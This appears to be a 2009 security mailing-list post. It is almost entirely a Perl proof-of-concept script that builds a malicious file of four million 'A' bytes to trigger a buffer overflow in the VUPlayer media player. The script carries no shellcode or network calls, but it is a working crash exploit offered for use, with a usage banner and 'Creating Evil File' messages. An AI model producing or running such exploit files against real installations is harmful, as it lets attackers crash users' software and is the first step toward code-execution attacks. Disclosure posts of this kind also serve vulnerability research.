VUPLAYER BufferOver flow POC

From: <alphanix00_at_gmail.com>
Date: Tue, 6 Jan 2009 13:08:59 -0700

('binary' encoding is not supported, stored as-is) #!/usr/bin/perl

system("color 3");

if (@ARGV != 1) { &help; exit(); }

sub help(){
        print "[X] Usage : ./exploit.pl filename \n";
}

{ $file = $ARGV[0]; }
print "\n [X]*******************************************\n";
print " [X] VUPLAYER BufferOver flow POC *\n";
print " [X] Coded By AlpHaNiX *\n";
print " [X] From Null Area *\n";
print " [X]*******************************************\n\n";

print "[+] Exploiting.....\n" ;

my $buff="\x41\x41\x41\x41" x 1000000 ;

print "[+] Creating Evil File" ;
open($FILE, ">>$file") or die "Cannot open $file";
print $FILE $buff;
close($FILE);
print "\n[+] Please wait while creating $file";
print "\n[+] $file has been created";
Received on Jan 06 2009